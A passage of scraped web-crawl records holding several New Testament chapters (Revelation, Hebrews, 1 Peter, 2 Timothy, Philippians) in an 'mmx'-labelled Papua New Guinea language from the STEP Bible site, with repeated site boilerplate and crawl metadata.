lengkot mamangan atnimi min, kusu mi noxok lok beleben. Mina un ka bok levendan momonok kusu miba saba li i dom at lengkatli atnimi, kusu miba reven.\n19 Nedi nia a balamu di, a vaase aronga di la a lox aleeng di. Kuren la nemi bok mina doma avukat la mina leeng. 20 Mina ronga i na. A tu ro at lumusaragu la ap dipdi; la do tara i ronga xibis laxaka rak la na suang lumusaragu, aba vubeles ukeneng at loogu ren la mana anan eburu.\n21 Do tara na tu lolos at lunuunu ren la it pas asi lololos laxapmek, aba mulus ka i xusu ni nabat kis eburu minia ro at lixitkis orong tarak, kerekngan ia aga sak tup mi lavamunepen tarak la na nga nia at kis eburu mi ne Tamak to at loxonin orong teren. 22 Do lubaalung mo at tara, i lox avukat do neni na ronga na levelinga at Loroonan at ne Moroa i tong asu i ri limixin lotu.\"\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.3","date":"2018-10-15T15:25:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509326.21\/warc\/CC-MAIN-20181015142752-20181015164252-00117.warc.gz","language":"mmx","language_score":0.9999707937,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999707937240601}","num_words":1125,"character_repetition_ratio":0.053,"word_repetition_ratio":0.048,"special_characters_ratio":0.218,"stopwords_ratio":0.271,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebrews 3\nIesu I Silok Ti Ne Moses1 Luvutnetak mi luvurinuk. Nemi bok lavaanat soxolik at ne Moroa mo ga ro ka vam nimi ngan limixin teren. Kuren la mo levempanga ne Iesu gak lox i, ni na veve mam pixan amisik tidik. Iesu, neni Luun Pavang la Lamaasa Gomgo. La na nedik dira nuunu ren. 2 Neni ga ruturun ti ne Moroa mo ga soxolik ka i ri lugugu ren, kerekngan ne Moses ga ruturun ap mo levenaleng neni gak lok tatao limixin at ne Moroa. 3 La ne Iesu ga ruuna ka laasen i silok ti ne Moses, kerekngan mun laradi gugu gu, neni i ruuna laasen silok ti mo loogu neni i lox i. 4 Na i ruturun mila levenabung mixin getgesara di ruuna lara laradi ga lok li di; ketla ne Moroa ga lok li levempanga axap. 5 Moses ga ruturun ngan laradi gugu ri lok tatao limixin at ne Moroa la neni ga paase asu levempanga ba vot melemu. 6 Ketla ne Karisito i ruturun at lugugu ri lok tatao limixin at ne Moroa xerekngan lanarong i lok tatao libibinat teren. Do atam tebeng lolos lunuunu atdik la tana ngangais mi lomomo ri lomlong teren, i lox asuusu i do nedik limixin at ne Karisito.\nLoklok Mamana Ri Limixin At Ne Moroa7 Nedik limixin at ne Karisito, kuren la nemen mita ronga xepe levelinga ren. I ngan levelinga at Lovoang Kaala, Loroonan Kaala ga vaase i xeretna,\n\"At na loxonaleng do mina ronga levelinga at ne Moroa, 8 nemen gat mita lox alolos lebelen nimi xerekngan lavalabat atnimi diga ronga xepe ne Moroa ap mo levenaleng ne Moroa ga lok tong pen lunuunu atdi ro at lamatbin.\" a\n9 La ne Moroa ga lok keretna,\n\"Lavalabat atnimi diga lox amusax ia ro at lamatbin, la at lavanuet sangaun maares diga ven levempanga sangsangu nenia aga lox i. 10 Ana i lavasuun teren la nia aga belemamao limixin ap mo loola. La aga lok, 'Lebelen di i onon petpes amisik basinge ia, la kopmen ta dinaklen leventaangas tarak.' 11 Kuren la aga vangpe at lumukmusak tarak do, 'Di noxo vubeles tinotno at loxot loklok mamas tarak kusu dina rooro avukat.\" b\n12 Luvutnetak mi luvurinuk. Mina lok tatao avukat nimi xusu tara atnimi noxo ruuna taxakapmek la loklok ting tonga xepe levelinga at ne Moroa xeneng at lorooro ren, la kerepmo na sok tixirixes kepe ne Moroa, mo i rooro. 13 Ketla at na levenaleng nemi move mi rooro ren, mina epang aru xusu laxakapmek noxo solo arup tara atnimi la lebelen na repe ri levelinga at ne Moroa. 14 Nedik tabat kis esogo mi ne Karisito do nedik tam tebeng lolos lunuunu se at laxavaxap at lorooro atdik, kerekngan nedik taga nuunu ruturun ap mo levenaleng taga lok kaka lunuunu maxat. 15 I lok ngan Lovoang Kaala i tong i do,\n\"At na levenaleng do mina ronga levelinga ren, nemen gat mita lox alolos lebelen nimi xerekngan nedi lavalabat atnimi diga ronga xepe ne Moroa.\" c\n16 Nege di nom diga ronga laxaka at ne Moroa la melemu diga ronga xepe i? Nedi mo limixin me Israel, ne Moses ga lam asu ka di boro Isip. 17 At lavanuet sangaun maares diga lok laxakapmek la diga raba arulu ne Moroa. Kuren la ne Moroa ga musak di la buaang atnedi diga remet eteke mun to at lamatbin. 18 La ne Moroa ga vangpe do di noxo vubeles tinotno ri mo loxot loklok mamas teren, mila diga ronga xepe levelinga ren. 19 Kuren la nedik di ven i do buaang atnedi di goxo lox epovo i xusu dina vubeles mila di goxo nuunu at ne Moroa.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Heb.3","date":"2018-10-19T22:53:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512460.41\/warc\/CC-MAIN-20181019212313-20181019233813-00247.warc.gz","language":"mmx","language_score":0.9999657869,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999657869338989}","num_words":755,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Peter 3\nLara Koenasun1 At na mun langas bok la nemi lavakin minang tonga res at levendoxoma at lavatlok atnemi, kusu do tentaba atnedi do dixo nuunu at levelinga at ne Moroa, loklok mun atnemi naba lok nedi la dina nuunu. La ixo epovo bok do minaba vaase axa toxolinga ri lox amlong levendoxoma atnedi. 2 Dinaba ba gili mun lorooro atnedi mumu mun loklox avukat la loklok ngangao atnemi rinedi. 3 Nemen gat migutak lok kaka leveloklok tooro me maxamang kusu ri lok nemi mina milik maraanu, ngan langas mik lox i at levengkabinim at lempatlak atnemi, kopla levenpun mi vonga i la levesingsiga ming siga i. 4 Ketla lorooro atnemi nak milik maraanu la mina umsu mi loklox atnaasan i lok nunuan aleng, neni mo loklok i silok aleng ti ne Moroa. 5 Naba lok ngan lavakin mokmokso me gano digak lok li levendoxoma atnedi at ne Moroa la diga sisinang amaraanu nedi mila diga mumu asu levendoxoma at lavatlok atnedi. 6 Ne Sera gak lok kerepmo; neni gang tonga res at ne Abaram, kuren la neni ga toro rin do leeme silok teren. Nemi miba lok ngan laxaalik teren do minak lok luvukat la mi noxok marat at tepempanga.\n7 Kuren pam la nemi bok lavatlok, mina ekilen ela mi levempakpakes at lavakin atnemi la minaklen avukat box i do nedi dixo ruuna tololos solo la mina lok tooro nedi. Mina raba nedi mi loklok ngangao mila nemi buru axap minaba ruuna xaka laramtaba i rooro boro at ne Moroa. Mina mu asu i na levelinga xusu, kopmen tekarakat naba lok pe levesingising kantubu atnemi lavatlok eburu mi ne Moroa.\nLosongsongot Mumu Leveloklox Avukat8 Ti lox axap na levelinga xeretna, nemi axap mina ruuna legesa doxoma eburu mi legesa sumsuma xeretna; mina doma mumu nedi di ruuna levenmumuat, la mina ebalamu ela ngan nemi loxoeton la mina belemumu nedi la mina lox asi nemi. 9 Nemen gat miguta vorang laxapmek mi laxapmek kopla mina vorang lavapaase kapmek mi lavapaase kapmek bok; ketla mina vorang i na leveloklok mi loklox anarong, atla loklok anarong neni lavanga ne Moroa ga xaape xusu neni naba raba nemi min at laaleng neni ga ro xaka nemi. 10 I ngan Lovoang Kaala i vaase i xeretna,\n\"Do nege i vara i xusu na ruuna lorooro nunuan, la i vara i xusu neni na ven levenaleng avukat, neni na ke xepe lavapaase kapmek, la na xav i at laxaxarang. 11 La neni na ke xepe laxakapmek la nak lok luvukat, la neni na lolos ti lok ka limila keneng axap at leveve ren. 12 Leeme Silok i reven aratao limixin mokmokso la ing tonga res at levesingising atnedi; ketla neni im taba arulu nedi dik lok laxapmek.\" a\n13 Nege naba lox asongot parang nemi do levendoxoma atnemi naplivi rik lok luvukat? 14 Ketla do mina lok kaka loklox asongot mumu loklok avukat mi lox i, minaba ruuna xaka bok leveloklox anarong. Kuren la nemen gat miguta marat at teta, kopla mina bulu. 15 Ketla keneng at lorooro atnemi mina lok ngangao at ne Karisito, atla neni Leeme Silok. Mina gagas at levenaleng axap ti porang levesusue at limixin at levenaleng dina susue nemi mi levendoxoma lolos atnimi saparap ne Karisito. 16 Ketla mina vaase ridi mi lumulus la loklok ngangao, la lorooro atnimi nak lok nunuan kusu do dina paase xapmek mumu lorooro avukat atnemi keneng at ne Karisito, dinaba mangan at levelinga kapmek nedi di paase i. 17 I lox avukat kusu mina xip kaka losongsongot at leveloklox avukat, do neni lavavara at ne Moroa xuren, la kopmen do at leveloklok kakapmek. 18 Karisito ga met gesara mene nga ri ru korop ti laxakapmek axap atnimi, la neni laradi avukat ga met ti rukun levesongsongot ti limixin di lok laxakapmek, kusu ri lam kaka nemi uto saparap ne Moroa. Diga sev amet labantuxu ren, ketla Loroonan Kaala ga lox aroo xat amlong i; 19 la at lorooro xat at loroonan teren, neni ga vavang ti limixin, labaroonan atnedi gak lok at loxokoxo. ▼\n▼ Na lemenemen di so asen i do Edesa.20 Nedi labaroonan at na limixin digang tonga xepe ne Moroa at levenaleng neni ga ngangais atnaasan nedi at levenaleng ne Noa ga gugu lavattaaxup teren. Keneng teren ga lavanuan mun nedi diga roo suu basinge laran, 21 la ga lok ngan neni lampoovo at lesep susu, ana nga nemi bok mi roo suu ren. Ni xopmen do rit gos kepe laxakapmek at labantuxu, ketla neni laxakaape mi lox i ri ne Moroa mi lodoxoma avukat. La neni na i lox aroo nemi mumu mun lorooro xat amlong at ne Iesu Karisito, 22 la neni gara urut pam uto vana at laxalibet, la amo nga ik lok at lekngen tino at ne Moroa, la neni lamgomgo at lubung angelo axap eburu mi luvuttadi loklok tatao la limixin lolos boro vana at laxalibet.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Pe.3","date":"2018-10-21T17:00:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514162.67\/warc\/CC-MAIN-20181021161035-20181021182535-00056.warc.gz","language":"mmx","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000001072883606}","num_words":953,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.264,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Timothy 1\nLavapaase Axasep1 Nenia ne Pol, Luun Pavang at ne Iesu Karisito; Moroa ga soxolik ka ia xusu ana tong asu levelinga at lorooro keneng at ne Iesu Karisito.\n2 A malagan na levelinga ru ne Timoti; nenu lamdak orong tarak.\nLetaba nabalamu, lebelemumu, la lenmila bok tu boro at ne Moroa ne Temen dik la ne Iesu Karisito, Leeme Silok atdik.\nLevelinga Emi Asu La Loklox Alolos3 Nenia a tong avukat ti ne Moroa, nia a gugu rin ngan lavalabat tarak diga gugu rin la kopmen taxapmek i nemen keneng tarak. Nia a emi asu amisik mi ne Moroa at levenaleng kangking la levenaleng kanimin keneng at levesingising tarak. 4 A doma su bok ap mo laaleng aga on basinge u la ugang teng; la a vara i do ana ven box u xusu lorooro rak naba umsu mi lomomo. 5 A doma su bok at lunuunu ram. Lunuunu lolos bok ga nemen at lorooro at ne tubum ne Lois la at lorooro bok at nenam ne Iunis; la nenia aklen i do lunuunu lolos kerepmo ik lok bok at lorooro ram.\n6 Na mun i lavasuun teren la nia a vaase alolos u xusu unam tebeng alolos nom laramtaba ne Moroa gara raba vam u min ap mo loxonaleng nenia aga sa li lukngak mavana ram. 7 Atla nom Loroonan ne Moroa ga raba dik min kopmen nak lox amarat dik, ketla Loroonan teren ik suxa aumsu dik mi lololos, labalamu la lodoxoma avukat.\n8 Kuren la nemen uta lok mamangan ti paase asu levelinga at Leeme Silok atnedik. La nemen uta lok mamangan mu box ia atla nenia a nemen at loxokoxo mumu ne Karisito. Ketla atap kip levesongsongot mumu Lagale Lavavang mi lololos ne Moroa ga raba dik min. 9 Neni ga lox arooro dik la ga ro ka dik kusu ataba lok ngan limixin teren. Kopmen mumu levempanga dik gara lok pam i; ketla at lavavara ren, i lok ngan letaba nabalamu ren tidik keneng at ne Iesu Karisito; ni ga raba dik mi na letaba nabalamu avot ti luruntudum li at na lavatbung menemen. 10 Ketla ne Iesu Karisito ga rupot pam de at na lavatbung menemen, la ga lox asuusu vam nom letaba nabalamu ren ngan Laradi Loklox Arooro atdik la ni ga lox axap lololos at lanmet. La at na levelinga at Lagale Lavavang ni ira lox asuusu vam lorooro avolo. 11 Ne Moroa gara soxolik ka vam ia ngan luun pavang la laradi loklox ase ri paase asu Lagale Lavavang. 12 Ni lavasuun teren la nia arap kip levesongsongot; ketla nia move a tu lolos mila nia a nuunu at ne Iesu Karisito; la akleklen tinotno i do neni i epovo na lok tatao ia la na lok tatao bok mo lugugu ne Moroa ga raba ia min, se ap mo laaleng neni nabamlong teren.\n13 Unam tebeng alolos nom levelinga ruturun at ne Moroa, nia aga anasa u min gano. Ni lampoovo una mumu asu i, la una nemen alolos at lunuunu ram; la labalamu ram saparap ne Iesu Karisito na nemen lolos. 14 At lololos at Loroonan Kaala nom i nemen keneng at lorooro atnedik, una lok tatao avukat nom levelinga ruturun uga lok ka i.\n15 Uklen i do nedi axap limixin nuunu boro at lenep silok Asia eburu mi ne Pigalas la ne Eremogenes diga on basinge vam ia. 16 Ketla a sing Leeme Silok do ni naba lox asuusu lebelemumu ren ti ne Onisiparas midi loxoetemen; atla neni gak lox alolos amisix ia la neni goxo lok mamangan do nia aga nemen at loogu xokoxo. 17 Se neni ga rupot de Rom, neni ga puse ria se ni ga vuse ka ia. 18 A sing Leeme Silok atdik dola neni na lox asuusu lebelemumu ren ti ne Onisiparas ap mo laaleng at Leeme Silok. Nenu u xasep nunuan do ne Onisiparas gak lok tooro aleng ia ro Epesas.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Ti.1","date":"2018-10-24T01:41:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583517628.91\/warc\/CC-MAIN-20181024001232-20181024022732-00503.warc.gz","language":"mmx","language_score":0.9999501705,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999501705169678}","num_words":799,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 2\nLempapaase Uto Saparap Limixin Lotu Ro Epesas1 Leeme Silok ga lok bok tia, \"Una malagan na levelinga ti laangelo ik lok tatao limixin lotu ro Epesas.\n'Na levelinga boro ap mo lara im tebeng lavanuti larapenti at lekngen tino la neni it pas kantubu at lavanuti levenbabao gol. 2 Akleklen lorooro atnimi, la aklen bok leven gugu lolos atnimi la aklen i do mi tu lolos kantubu at levesongsongot mo nemi mip kiv i. Aklen box i do mixo esuxun mi limixin kapmek, la mira lok tong pen pam nedi di lok do nedi mo luvuttadi vavang, ketla mira long lenget ka i do nedi limixin kaxarang. 3 Aklen i do nemi mira tu tuxuruxun pam at lunuunu atnimi, la migap kip levesongsongot mi lomomo, mo levesongsongot mumu laasen tarak, la mixo molo xape lunuunu atnimi.\n4 Ketla a ruuna na lempapaase mumu nimi at levempanga miga lox i, kopmen na lox avukat; labalamu atnimi ria kopmen na lolos kerekngan miga balamu avor ia at laaleng miga ravasu ngan limixin nuunu. 5 Mina doma bilong ti mo labalamu avot atnimi ria, kusu miba ven kibis i do mira subu vam basinge ia. La mina leeng tinotno la minamlong ti mo leveloklok nunuan nemi miga lox avor i. Mo do mi noxo leeng, aba vot saparap nimi la ana lok kepe nom lababao atnimi. 6 Ketla lara lavanga mo, nia a lok momo minimi ren, mila mi xopara aleng mo leveloklok kakapmek atnedi limixin di mumu asu ne Nikolaus. La nenia bok axo vara rino mo loklok.\n7 Do tara i ruuna lubaalung, i lox avukat do neni na ronga na levelinga at Loroonan at ne Moroa i tong asu i ri limixin lotu. Do tara i tu tuxuruxun la it pas asi lololos at laxapmek, aba lox epovo i rin kusu ni na anan at levempeven at luuna at lorooro, mo ik lok to at lagale lemenemen at ne Moroa.\"\nLempapaase Uto Saparap Limixin Lotu To Smena8 Leeme Silok ga lok bok tia, \"Una malagan na levelinga ri laangelo ik lok tatao limixin lotu to Smena.\n'Anai ni levelinga ap mo lara neni Lurutu Kaxat la Lumumupit, mo ga met ketla gara roo xat amlong pam. 9 Aklen levesongsongot nemi mip kiv i, la aklen i do mit kis pakpakes, ketla nemi mip novos aleng mi lempanga boro vana at laxalibet. Aklen levelinga xaxarang atnedi limixin di tong i rinimi do nedi me Judaia, ketla kopmen, nedi mun limixin lotu at ne Satan. 10 Nemen mita marat ap mo levenmumuat minabap kiv i. Mina ronga i na, Satan naba lok li teventaba atnemi ri loklok tong, la ba lok li teventaba atnimi at loxokoxo; la mibap kip mo levesongsongot at lasangaun aleng mun. Mina tu lolos mi lunuunu atnimi saparav ia, keke i do miba met mumu i, la aba raba nemi mi lorooro avolo ngan lavatbungorong tinimi.\n11 Do tara i ruuna lubaalung, i lox avukat do neni na ronga levelinga at Loroonan at ne Moroa i tong asu i ri limixin lotu. Do tara i tu lolos keneng at levenmumuat, neni noxo suma rinotno lanmet sepsev agepura.\"\nLempapaase Uto Saparap Limixin Lotu Ro Pegamam12 La Leeme Silok ga lok bok tia, \"Una malagan na levelinga ri laangelo ik lok tatao limixin lotu ro Pegamam.\n'Anai levelinga boro ap mo laradi i ruuna lavarise sepsep i anan evan. 13 Akleklen i do mik lok at lemenemen, ne Satan i nemen keneng teren ngan loorong silok. Ketla laasen tarak mim tebeng alolos i. La nemi xopmen mi goxo soxepe lunuunu atnimi ap mo levenaleng ne Antipas ga uu ren; neni ga nemen ngan laradi ruturun la laradi vapaase asu levelinga rak. Limixin at ne Satan diga sev i dom kantubu at lemenemen silok atnimi, nom ne Satan i nemen teren.\n14 Ketla a ruuna lempapaase lixilik mun mumu nimi at lempanga mi lox i kopmen na lox avukat. Lentaba atnimi dom dim tebeng alolos levenanasa at ne Balam, mo ga lox ase ne Balak kusu na sar asoogong limixin me Israel ti laxakapmek. Ni ga tong i ridi do dina anan leveluxa laplavang ri lempoovo moroa la ni ga sar asoogong di kusu dina lok laxakapmek maxamang at lixitkis epot. 15 La lentaba luvuttadi bok kantubu atnimi di mumu asu levenanasa at ne Nikolaus. 16 Kuren la mina leeng tinotno. Mo do mi noxo leeng, anaba vot soso mun la ana esep eburu midi mi lavarise sepsep ba ravasu mede at langsuk.\n17 Do tara i ruuna lubaalung, i lox avukat kusu neni na ronga na levelinga Loroonan at ne Moroa i tong asu i ri limixin lotu. Ti mo lara do i tu lolos la it pas asi amisik laxapmek, aba raba i mi leveluxa boro vana at laxalibet, laasen teren lamaana, no i nemen alipe. La aba raba box i mi luat bunbun, eburu mi laasen maxat, mo bak lok at luat bunbun. Kopmen teta naklen mo laasen, ketla mo laradi xusuk mun naba ruuna ka mo luat nabaklen i.\"\nLempapaase Uto Saparap Limixin Lotu Ro Taiataira18 La Leeme Silok ga lok bok, \"Una malagan bok na levelinga ti laangelo ik lok tatao limixin lotu to Taiataira.\n'Anai levelinga boro at ne Nitna ne Moroa, luxatli ren i babao ngan laxao bokbolot, la luxangkedek teren i ngangao ngan loxonuat, laxao i an amemeles i. 19 Akleklen lorooro atnimi, la aklen bok labalamu atnimi la lunuunu atnimi, la leveloklok nunuan atnimi. Aklen levesongsongot nemi mip kiv i, la mo leveloklok nunuan atnimi at na levenaleng i buaang aleng ti mo leveloklok nunuan nemi miga lox i ap mo levenaleng miga ravasu ngan limixin nuunu.\n20 Ketla axo lok momo minimi mumu i na; mi siam kaka nom latkin ne Jesebel, i tong i do neni latkin papaase alii at ne Moroa, ketla neni i sar asoogong limixin tarak ti lok laxakapmek maxamang at lixitkis epot la i lok nedi kusu dina anan leveluxa diplavang min ti lempoovo moroa. 21 Ara tong taba vam nom latkin mi levenaleng kusu ni na leeng basinge nom loklok kakapmek, ketla i xopara. 22 Kuren la aba sev i mi levesongsongot silok, la nedi digang longka i, anaba lok li nedi at losongsongot silok do nedi di noxo leeng basinge leveloklok kakapmek ap mo latkin. 23 La aba sev amet bok laxamdak teren. La limixin axap di nuunu dibaklen i do nenia ne Penasiak, aklen lorooro at limixin axap la aba vorang laxakapmek atnemi mi levesongsongot i epovo at loklok at legetgesa radi. 24 Ketla lentaba limixin nuunu atnimi dom Taiataira mixo lok momo at nom laanasa at ne Jesebel. Mixo siam ka laanasa ren la miga ke xepe bok mo levenanasa mumuat di tong i do levendomdoma alipe at ne Satan. Nenia a noxo tong bok tevelinga lolos tinimi xusu mina mu asu i; 25 ketla na legesa vanga xusuk mun, minam tebeng lolos mo lorooro nunuan atnimi, se at lomlong tarak.\n26 Do tara i tu lolos la it pas asi lololos at laxapmek la i lox epovo lavavara rak se at laxavaxap at na lavatbung menemen, aba raba i mi lololos kusu rim gomgo ridi buaang limixin at na lavatbung menemen. 27 I lok ngan ne Tamak ne Moroa ga raba ia mi lololos kusu nia anam gomgo ri limixin. Anai i lok ngan nom levelinga at Lovoang Kaala, i lok keretna,\n'La neni naba lolos kusu na lok tatao di mi lakdak lolos, la neni naba sep povorok nedi ngan lengkong sosopen kangka i reporok.' a\n28 La nia aba raba bok nedi limixin tarak mi lentian. 29 Do tara i ruuna lubaalung, i lox avukat do neni na ronga levelinga Loroonan at ne Moroa i tong asu i ri limixin lotu.\"\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.2","date":"2018-10-23T03:18:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516003.73\/warc\/CC-MAIN-20181023023542-20181023045042-00116.warc.gz","language":"mmx","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999998927116394}","num_words":1423,"character_repetition_ratio":0.057,"word_repetition_ratio":0.035,"special_characters_ratio":0.214,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Philippians 1\nLavapaase Axasep1 Nenia ne Pol. Nema' mi ne Timoti, luasaxaruki at ne Iesu Karisito.\nMa sok na lovoang tinemi limixin at ne Moroa mi nemen keneng at lemenemen silok Pilipai, la ti luvuttadi amgomgo bok at lotu la luvuttadi loklok tooro, mo miga siam kaka ne Iesu Karisito xeneng at lorooro atnimi.\n2 Letaba nabalamu la lenmila rinemi boro at ne Moroa ne Temen nedik la ne Iesu Karisito, Leeme Silok atdik.\nLisingising At Ne Pol3 Nenia a tong avukat ti ne Moroa ap mo levenaleng axap do nenia a doxoma su atnimi. 4 La at levesingising axap tarak tinemi axap, a ngising mi lomomo, 5 mila miga lok tooro ia mi lugugu at Lagale Lavavang ga ru ka i at laaleng nia aga vaxaru xat ka lugugu dom kantubu atnimi la ise ningina. 6 Kuren la aklen tinotno i do ne Moroa, ni ga vaxaru ka i na lugugu nunuan keneng atnimi, neni naba lox epovo na lugugu nunuan keneng at lorooro atnimi at na levenaleng la naba se at laxavaxap at lugugu atdik at laaleng ete at ne Iesu Karisito.\n7 Am doma su amisik atnimi mi lomomo. La at lusumsuma rak ik mokso do ana doma mumu nemi. Nemi miga gugu eburu minia ap mo lugugu ne Moroa ga raba ia min la ni ga raba nimi mi lolos kusu minap kiv i, i se nga na nenia ak lok at loxokoxo, la ap mo bok levenaleng nenia agat pas tangtagap kusu ana lox asuusu i do Lagale Lavavang i return, la kusu ana lok limixin nuunu kusu dina ru lolos teen. 8 La ne Moroa aklen i do nom nabalamu rak saparap nimi, i laa at labalamu at ne Iesu Karisito.\n9 Lisingising tarak saparap ne Moroa i lok keretna. Nenia a ngising do labalamu atnimi na sisilok, eburu mi lakleklen tuturun, la lodoxoma nunuan, 10 kusu miba epovo do mina soxolik ka lempanga sala i nunuan la kerepmo lorooro axap atnimi naba dadat, la kopmen teveloklok kakapmek noxo nemen teren se at laaleng ete at ne Karisito; 11 la lorooro atnimi nabak mokso xusu minaba visik asu levempipisik nunuan, ne Iesu Karisito naba lox asuusu i at lorooro atnimi; kerepmo lisisixam eburu mi leemi asu nabat pas ti ne Moroa.\nPol Ga Nemen At Loxokoxo12 Luvutnetak mi luvurinuk. A vara i xusu minaklen nunuan i do mo levesongsongot gat pot saparav ia, ga lok tooro aleng tinotno lususu at Lagale Lavavang. 13 Kuren la mo luvuttadi esep at loorong silok eburu mi luvuttadi di nemen de, diklen i do nia ak lok at loxokoxo mila nenia lasaxaruki at ne Karisito. 14 Mo lemenemen tarak nade xeneng at loxokoxo i lox alolos bok buaang nedi limixin nuunu kusu dina vavang abelemes mi levelinga at ne Moroa la kopmen Tamara atdi.\n15 I ruturun leventaba di vavang mi ne Karisito kusu ri lox asilok levenasen atdi, di umsu mi loklok ti ngaongao ri lempanga at lentaba vetpes la loklok tik lox asilok di; ketla 